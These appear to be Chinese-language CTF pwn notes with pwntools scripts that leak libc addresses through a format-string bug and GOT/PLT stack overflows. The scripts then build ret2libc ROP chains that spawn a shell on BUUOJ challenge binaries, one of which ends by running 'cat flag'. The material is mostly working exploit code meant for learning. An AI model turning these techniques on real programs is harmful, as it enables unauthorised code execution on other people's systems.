from pwn import *
from LibcSearcher import *
p=process("./test3")
elf=p.elf
fun_name="read"
#get the fun'got_address
fun_got=elf.got[fun_name] #0x804c004
fun_plt=elf.plt[fun_name] #0x8049040
print(hex(fun_got),hex(fun_plt))
p.recvuntil(b"hello\n")
#yichu
payload = p32(0x804c004) + b'%10$s'
p.sendline(payload)
fun_address = u32(p.recvuntil(b'\xf7')[4:8])
print("fun_address:",hex(fun_address))
#base_address
libc = LibcSearcher(fun_name,fun_address)
libc_base = fun_address - libc.dump(fun_name)
print("libc_base :",hex(libc_base))
#get system address and shell address
sys_address = libc_base + libc.dump('system')
sh_address = libc_base + libc.dump('str_bin_sh')
print("system address:",hex(sys_address))
print("bin_sh address:",hex(sh_address))


使用 ELF.got[fun_name],ELF.plt[‘puts’] ,泄漏 fun_name的got地址和 puts函数的plt地址。
利用栈溢出、got地址、puts函数的plt地址来输出got地址处的值,即fun_name函数的地址:

EXP:
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p=remote("node5.buuoj.cn",29996)
elf = ELF('./ciscn_2019_c_1')
ret_address = 0x400c83
got = elf.got['puts'] #0x602020
plt = elf.plt['puts']
#print(hex(got))
main_address = 0x400B28
p.recv()
p.sendline(b'1')
p.recvuntil(b"encrypted\n")
payload = (b'a'*(0x50+8))+p64(ret_address)+p64(got)+p64(plt)+p64(main_address)
p.sendline(payload)
p.recvuntil(b'Ciphertext\n')
p.recvuntil(b'\n')
addr=u64(p.recv(6).ljust(0x8,b'\x00'))
print(hex(addr))
libc = LibcSearcher('puts',addr)
libcbase = addr - libc.dump('puts')
print(hex(libcbase))
sys_addr = libcbase + libc.dump('system')
sh_addr = libcbase + libc.dump('str_bin_sh')
p.recv()
p.sendline(b'1')
p.recvuntil(b"encrypted\n")
payload = b'a'*0x58+p64(ret_address)+p64(sh_addr)+p64(0x4006B9)+p64(sys_addr)
p.sendline(payload)
p.interactive()
利用write函数的got表和plt表,溢出得到write函数的地址,在计算得到libc_base基地址。
先看汇编下调用write函数时参数的传递:(以32位为例)长度+地址+1 构造栈时反过来 1+地址+长度

溢出EXP:
#启动题目所给的so文件,so文件需要在同一目录下
libc=ELF('libc-2.23.so')
got = elf.got['write']
plt = elf.plt['write']
main_addr = 0x08048825
#构造payload,利用write函数输出write函数的实际地址
payload = b'a'*(0xe7+4)+p32(plt)+p32(main_addr)+p32(1)+p32(got)+p32(4)
p.sendline(payload)
#接受返回的地址
addr = u32(p.recv(4).ljust(4,b'\x00'))
print(hex(addr))
利用返回的地址计算liba_base,sys_addr,bin_addr地址:
#计算基地址libabase
libcbase = addr - libc.sym['write']
#拿到sys_addr和bin_addr
sys_addr = libcbase + libc.sym['system']
str_sh = libcbase + next(libc.search('/bin/sh'))
print(hex(sys_addr),hex(str_sh))
#最后利用计算的函数地址和'bin/sh'地址,栈溢出构造ROP
payload = b'a'*(0xe7+4)+p32(sys_addr)+p32(0)+p32(str_sh)
p.sendline(payload)
p.interactive()
题目没有提供后门函数,但是给了栈溢出和write函数调用:


这里可以利用vulnerable_function函数进行栈溢出,利用write函数泄漏write函数的地址,从而拿到libc,使用write函数泄漏write函数地址时(puts函数同理),即使程序在前面 没有调用过write函数 ,也可以 直接利用栈溢出 泄漏,因为在栈溢出时,程序会先解析write函数的地址将其填入got表项中:
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p=remote("node5.buuoj.cn",28334)
elf=ELF('./2018_rop')
got = elf.got['write']
plt = elf.plt['write']
print(hex(got),hex(plt))
main_addr = 0x080484C6
#这里程序会跳转到write函数的plt表,由于先前没有调用过write函数,所以此时write函数的got表还未填充地址,要调用write函数,程序会先解析write函数的地址(此时wrie函数的got表会更新),也就能泄漏write函数的地址了。
payload = b'a'*(0x88+4)+p32(plt)+p32(main_addr)+p32(1)+p32(got)+p32(4)
p.sendline(payload)
addr = u32(p.recv())
print(hex((addr)))
libc = LibcSearcher('write',addr)
liba_base = addr - libc.dump('write')
sys_addr = liba_base + libc.dump('system')
sh_addr = liba_base + libc.dump('str_bin_sh')
print(hex(liba_base),hex(sys_addr),hex(sh_addr))
payload = b'a'*(0x88+4)+p32(sys_addr)+p32(0)+p32(sh_addr)
p.sendline(payload)
p.sendline(b'cat flag')
p.interactive()
